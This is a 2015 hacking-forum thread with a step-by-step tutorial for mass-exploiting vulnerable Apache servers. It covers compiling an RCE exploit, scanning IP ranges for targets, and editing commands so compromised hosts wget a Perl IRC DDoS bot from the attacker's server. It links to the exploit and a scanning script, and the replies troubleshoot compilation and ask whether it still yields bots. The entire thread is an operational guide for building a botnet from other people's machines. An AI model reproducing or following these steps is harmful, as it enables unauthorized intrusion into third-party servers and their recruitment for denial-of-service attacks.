Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT]Apache RCE Exploit[TUT][UPDATE]

Hey guys I finally had time to make this Tutorial 🎉! This will be a Copy paste one but updated!

And BEFORE YOUR "START", do ifconfig on terminal and See if its eth0 then you can continue! Venet0 won't work but ill try to make a tut on here on how to do it on VENET0!

Choosing our bot:
Some of you might have your own l33t custom coded perl bot, and some of you might me lmg nubs that don't even know what this is well head over here:
http://pastebin.com/search?cx=0133056354...&sa=Search

that's some perl bots now for this tutorial we'll be using this bot:
http://pastebin.com/CJpxW5tx

Download it and rename it to ddosbot.pl "not important"

Requirements:
a vps / dedi the higher specs the better.
an updated server ( yum update/apt-get update)
httpd ( yum install httpd )
httpd running ( service httpd start )
the exploit ( download link below)
a perl bot ( top of the thread)
yum install gcc libssl-dev screen or apt-get install gcc libssl-dev
Getting started:
1.Upload the files to your root directory
2. Upload the perl bot you've downloaded to /var/www/html, and edit the information to fit your irc server information

BEFORE YOU Do ANYTHING edit the xpl.c FILE FIRST then do this command to compile it!

gcc -o xpl xpl.c -lssl -lcrypt

Scanning for a vuln list:
1. Go to the apache folder
2. chmod +x *
3. ./Accounts 22 -a (range 1-254) -s 8 -i eth0 (note this part is suspendable so make sure your server allows this/ecatel for an eg allows this.
4. Once it's done do:
./check bios.txt apache.txt 300 cgi

wait for it to finish (might take several hours depends on the threads the higher the faster

Editing apache to fit your exploiting needs:
1. nano cmd and where it says wget http://putyourserveriphere/ddosbot.pl and the other one replace it with http://putyourserveriphere/ddosbot.pl
2. nano do. then check where it says --reverse-ip put your server ip
3. Last thing to do is nano xpl.c then ctrl+w search for http:// and put your serverip/ddosbot.pl so http:/ip/ddosbot.pl

Exploiting:
1. screen -dm ./loop
2. ./do apache.txt

give it a little bit to scan the bots this takes time it's not pma, but the bots are stable that's the point.

I take no credits of creating this exploit as noted in the exploit it was created by kingcope.

Thanks for reading if i helped you thumbs up to make me feel better:)

dl link: https://www.sendspace.com/file/ccku30ight

Including My Auto-Pilot Script for scanning. It auto Scans then Filters the list to get duplicates out! MAKE sure to put it in the pid234 Directory! LINK: https://www.sendspace.com/file/2qtyxj

Enjoy! 👍 🎉
Nice man. Not using, but very descriptive, and very helpful.
(Jun 3, 2015 01:39 PM)Kumara Wrote:  Nice man. Not using, but very descriptive, and very helpful.

Your Welcome Greenpoison! Enjoy 😉
You broke the link to the exploit, and don't use Pastebin for that shit, shit gets reported.

Otherwise, seems very descriptive and helpful.
Great share man. Looks like a noobie can host a irc bot online 😏
This exploit is fucking dead.
Why are you even bothering to write this?
(Jun 3, 2015 03:45 PM)rawip Wrote:  This exploit is fucking dead.
Why are you even bothering to write this?

Because I can. If I find diffrent exploits that still work ill post a how to on it! 😉
Hey, thanks for this, but i get an error compiling...
Spoiler (Click to View)
(Jun 3, 2015 05:40 PM)SIM-2198759 Wrote:  Hey, thanks for this, but i get an error compiling...
Spoiler (Click to View)

Well, you don't have openssl on your system.
I forgot to include that to install OpenSSL forgot sorry!
Nevermind i fixed my problem, if you cant install libssl-dev use openssl-devel instead :)
EDiT: Has anyone been able to pull in any bots with this? Seems pretty dead from what i've tried.
Well, this was directly copy-pasted from old thread posted by banned member; https://hackforums.net/showthread.php?tid=4435408
If yall wanna donate some BTC :) ♡
1LcyjU9rhRAeFQ3QDKxc3rzv5CczJzNeu6
(Jun 3, 2015 10:29 PM)Chegu Wrote:  Nevermind i fixed my problem, if you cant install libssl-dev use openssl-devel instead :)
EDiT: Has anyone been able to pull in any bots with this? Seems pretty dead from what i've tried.
Well, this was directly copy-pasted from old thread posted by banned member; https://hackforums.net/showthread.php?tid=4435408
I mentioned that in the thread but there are some updates to run it!
I have to agree this exploit is dead, but to the newbs out there it might get them pointed in the right direction without spoon feeding them....
(Jun 7, 2015 10:51 AM)TSBSinner Wrote:  I have to agree this exploit is dead, but to the newbs out there it might get them pointed in the right direction without spoon feeding them....
You are right about that most of the people one here weren't spoon feed. Had to figure out on your own and use http://www.google.com/...


Possibly Related Threads...
Thread / Author Replies Views Last Post
by testdroneOct 6, 2022 01:15 AM 2 301 Oct 6, 2022 01:15 AM
Last Post: AlmightyK
by OakleyharrodSep 3, 2022 01:28 AM 14 907 Sep 3, 2022 01:28 AM
Last Post: ThrillQuks
by modelvesMay 23, 2022 07:21 AM 7 312 May 23, 2022 07:21 AM
Last Post: darktechspec